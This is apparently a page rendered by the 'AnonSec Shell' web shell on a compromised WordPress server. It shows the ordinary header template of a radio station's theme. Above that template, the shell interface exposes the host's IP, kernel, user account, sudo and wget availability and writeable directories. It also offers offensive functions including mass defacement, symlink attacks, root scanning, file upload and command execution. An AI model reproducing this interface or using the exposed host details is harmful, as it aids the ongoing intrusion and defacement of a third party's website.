AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/midwest/public_html/wp-content/themes/midwest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/midwest/public_html/wp-content/themes/midwest/washeader.php
<!doctype html>

<html <?php language_attributes(); ?>>

<head  class="home-header">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">


    <?php wp_head(); ?>



</head>



<body <?php body_class('mid-body-bg'); ?>>
<noscript>
    <iframe src="https://www.googletagmanager.com/ns.html?id=G-YFBJ6622XD"
    height="0" width="0" style="display:none;visibility:hidden"></iframe>
</noscript>


    <?php if (is_front_page()) : ?>
        <h1 class="visually-hidden">Midwest Radio</h1>
    <?php endif; ?>

    <!-- Include navigation or header elements here -->
<div class="mid_header_top">
    <div class="container">
        <div class="row">
            <div class="col-md-6">
                <div class="contact_box_hdr">
                    <?php if ( ! dynamic_sidebar('mid_contact_details') ) : ?><?php endif; ?>  
                </div> 
            </div>
            <div class="col-md-6 mid-pad-ziro">
                <div class="google-ads-sec google-ads-1">
                    <!-- Google AdSense Code for 625 x 105 ad -->
                    <!-- <ins class="adsbygoogle"
                        style="display:block"
                        data-ad-client="ca-pub-5806461016367849"
                        data-ad-slot="9876543210"
                        data-ad-format="horizontal"
                        data-ad-width="625"
                        data-ad-height="105"></ins>
                    <script>
                        (adsbygoogle = window.adsbygoogle || []).push({});
                    </script> -->
                </div>
            </div>

        </div>
    </div>
</div>
    <header class="mid-header-wrap">
        <div class="container">
            <div class="row">

                <!-- Left -->
                <div class="col-md-4 mid-pad-ziro">
                  <div class="mid-header-logo-btn-wrap"> 
                    <div class="mid-header-logobtn-left">
                          <!-- Logo -->
                        <div class="mid-logo"> 
                            <?php if ( ! dynamic_sidebar('mid_header_logo') ) : ?><?php endif; ?>  
                        </div>
                        <!-- Logo End-->

                        <!-- Listen Live Btn -->
                        <div class="mid-listen-live">
                                    <!-- Hidden Audio Player -->
                                    <audio id="radioPlayer" style="display:none">
                                        <source src="https://direct.sharp-stream.com/midwestfmie.mp3" type="audio/mpeg">
                                        Your browser does not support the audio element.
                                    </audio>
                                    <!-- Updated Listen Live Button -->
                                    <a href="javascript:void(0);" id="playButton" class="btn btn-primary mid-listen playButton">
                                            Listen Live <i class="fa-solid fa-play"></i>
                                        </a>
                                </div>   
                        <!-- Listen Live Btn End-->
                    </div>


                    <div class="mid-header-logobtn-right">
                        <!-- Contact Us Btn -->
                        <div class="mid-contact-btn-wrap mid-mob-hide">
                            <!-- <a href="mailto:studio@midwestradio.ie" class="btn mid-contact-btn">Contact Us</a> --> 
                        </div>
                        <!-- Contact Us Btn End-->

                        <!-- Social Icons-->
                        <div class="mid-social-icons mid-mob-hide">
                            <?php if ( ! dynamic_sidebar('mid_social_icons') ) : ?><?php endif; ?>   
                        </div>
                        <!-- Social Icons End-->

                    </div>

                    
                  </div>
              </div>
              <!-- Left End--> 

              <div class="container-fluid mid-mob-navigation">
                <div class="row">
                  <div class="col-md-12  mid-pad-ziro">
                    <div class="mid-mob-nav-bar-wrap"> 
                      <nav class="navbar navbar-expand-lg bg-body-tertiary mid-nav-wrap">
                        <div class="container-fluid">
                           <div class="mid-mob-btn-social-wrap"> 
                              <div class="mid-social-icons">
                                <?php if ( ! dynamic_sidebar('mid_social_icons') ) : ?><?php endif; ?>  
                              </div>

                              <!-- <div class="mid-contact-btn-wrap">
                                <?php //if ( ! dynamic_sidebar('mid_hdr_contact') ) : ?><?php //endif; ?> 
                              </div>  --> 
                              <div class="menu_text">
                              	<h5>Menu</h5> 
	                              <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
	                                <i class="fa-solid fa-bars"></i>
	                              </button> 
                              </div> 

                           </div>
                          <div class="collapse navbar-collapse" id="navbarSupportedContent">

                            <?php
                            wp_nav_menu( array( 
                                'theme_location' => 'primary', // Change this to the desired menu location (e.g., 'primary', 'footer', etc.)
                                'menu_class'     => 'menu-class', // Optional. Add your custom class for styling.
                                'container'      => 'nav', // Optional. Wrap the menu in a <nav> tag.
                                'container_class'=> 'custom-nav-class', // Optional. Add custom class to the container.
                            ) );
                            ?> 
                            
                            <div class="mid-listen-back-btn-wrap d-flex">
                                <?php if ( ! dynamic_sidebar('mid_listen_back') ) : ?><?php endif; ?>  
                            </div> 
                            <div class="mid-contact-btn-wrap">
                                <?php if ( ! dynamic_sidebar('mid_hdr_contact') ) : ?><?php endif; ?> 
                            </div> 
                          </div>
                        </div>
                     
                      </nav> 
                    </div>
                  </div>
                </div>
              </div>






                    <div class="col-md-8 mid-pad-ziro">
                        <div class="mid-header-slider-wrap">
                        <div id="carouselExampleAutoplaying" class="carousel slide" data-bs-ride="carousel">
                            <div class="carousel-indicators">
                                <?php
                                date_default_timezone_set('Europe/Dublin');

                                $current_day = date('N');
                                $is_weekend = ($current_day >= 6);
                                $current_time = date('H:i');
                                // $current_time  = '6:15';
                                $args = array(
                                    'post_type' => 'banner-shows',
                                    'posts_per_page' => 1,
                                    'meta_query' => array(
                                        array(
                                            'key' => 'to_time',
                                            'value' => $current_time,
                                            'compare' => '>',
                                            'type' => 'TIME'
                                        )
                                    ),
                                    'orderby' => 'meta_value',
                                    'meta_key' => 'show_time',
                                    'order' => 'ASC'
                                );

                                if ($is_weekend) {
                                    $args['meta_query'][] = array(
                                        'key' => 'weekend_program',
                                        'value' => 'yes',
                                        'compare' => '='
                                    );
                                }

                                if ((strtotime($current_time) >= strtotime('18:00') || (strtotime($current_time) <= strtotime('07:00') ) ) && !$is_weekend) {
                                    $args = array(
                                        'post_type' => 'banner-shows',
                                        'name' => 'generic-image',
                                        'posts_per_page' => 1
                                    );
                                   
                                }

                                $banner_shows = new WP_Query($args);
                                $count = 0;

                                while ($banner_shows->have_posts()) : $banner_shows->the_post();
                                ?>
                                    <button type="button" data-bs-target="#carouselExampleAutoplaying" data-bs-slide-to="<?php echo $count; ?>" class="<?php echo $count === 0 ? 'active' : ''; ?>" aria-current="<?php echo $count === 0 ? 'true' : 'false'; ?>" aria-label="Slide <?php echo $count + 1; ?>"></button>
                                <?php
                                    $count++;
                                endwhile;
                                wp_reset_postdata();
                                ?>
                            </div>
                            <div class="carousel-inner <?php echo $current_time; ?> <?php echo $is_weekend ? 'weekend' : 'weekday'; ?>">


                                <?php
                                $banner_shows = new WP_Query($args);
                                $active = 'active';

                                while ($banner_shows->have_posts()) : $banner_shows->the_post();
                                    $banner_title = get_the_title();
                                    $show_time = get_post_meta(get_the_ID(), 'show_time', true);
                                    $to_time = get_post_meta(get_the_ID(), 'to_time', true);
                                    $show_time_12hr = date("g:i A", strtotime($show_time));
                                    $to_time_12hr = date("g:i A", strtotime($to_time));
                                    $banner_image = get_the_post_thumbnail_url(get_the_ID(), 'full');
                                ?>
                                    <div class="carousel-item <?php echo $active; ?>" data-bs-interval="10000">
                                        <?php if ($banner_image) : ?>
                                            <img 
                                                src="<?php echo esc_url($banner_image); ?>" 
                                                class="d-block w-100" 
                                                alt="<?php echo esc_attr($banner_title); ?>" 
                                                data-current-time="<?php echo esc_attr($current_time); ?>" 
                                                data-from-time="<?php echo esc_attr($show_time); ?>" 
                                                data-to-time="<?php echo esc_attr($to_time); ?>">

                                        <?php endif; ?>
                                        <div class="carousel-caption banner-shows" style="display: none;">
                                            <h2><?php echo esc_html($banner_title); ?> <br> <span class="show">Show</span></h2>
                                            <?php if ($show_time && $to_time) : ?>
                                                <span class="show_tym"><?php echo esc_html($show_time_12hr); ?> - <?php echo esc_html($to_time_12hr); ?></span>
                                            <?php endif; ?>
                                        </div>
                                    </div>
                                <?php
                                    $active = '';
                                endwhile;
                                wp_reset_postdata();
                                ?>
                            </div>
                            <button class="carousel-control-prev" type="button" data-bs-target="#carouselExampleAutoplaying" data-bs-slide="prev">
                                <span class="carousel-control-prev-icon" aria-hidden="true"></span>
                                <span class="visually-hidden">Previous</span>
                            </button>
                            <button class="carousel-control-next" type="button" data-bs-target="#carouselExampleAutoplaying" data-bs-slide="next">
                                <span class="carousel-control-next-icon" aria-hidden="true"></span>
                                <span class="visually-hidden">Next</span>
                            </button>
                        </div>

                        </div>
                    </div>

              <!-- Right End --> 
            </div> 
            
            <div class="row mid-desk-navigation"> 
                <nav class="navbar navbar-expand-lg bg-body-tertiary mid-nav-wrap">
                    <div class="container-fluid"> 
                      <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
                        <span class="navbar-toggler-icon"></span>
                      </button>
                      <div class="collapse navbar-collapse" id="navbarSupportedContent">
                        <?php
                        wp_nav_menu( array( 
                            'theme_location' => 'primary', // Change this to the desired menu location (e.g., 'primary', 'footer', etc.)
                            'menu_class'     => 'menu-class', // Optional. Add your custom class for styling.
                            'container'      => 'nav', // Optional. Wrap the menu in a <nav> tag.
                            'container_class'=> 'custom-nav-class', // Optional. Add custom class to the container.
                        ) );
                        ?> 
                        <div class="mid-listen-back-btn-wrap d-flex">
                            <?php if ( ! dynamic_sidebar('mid_listen_back') ) : ?><?php endif; ?>  
                        </div>

                      </div>
                    </div>
                 
                      </nav>
            </div>
        </div>
    </header>

Anon7 - 2022
AnonSec Team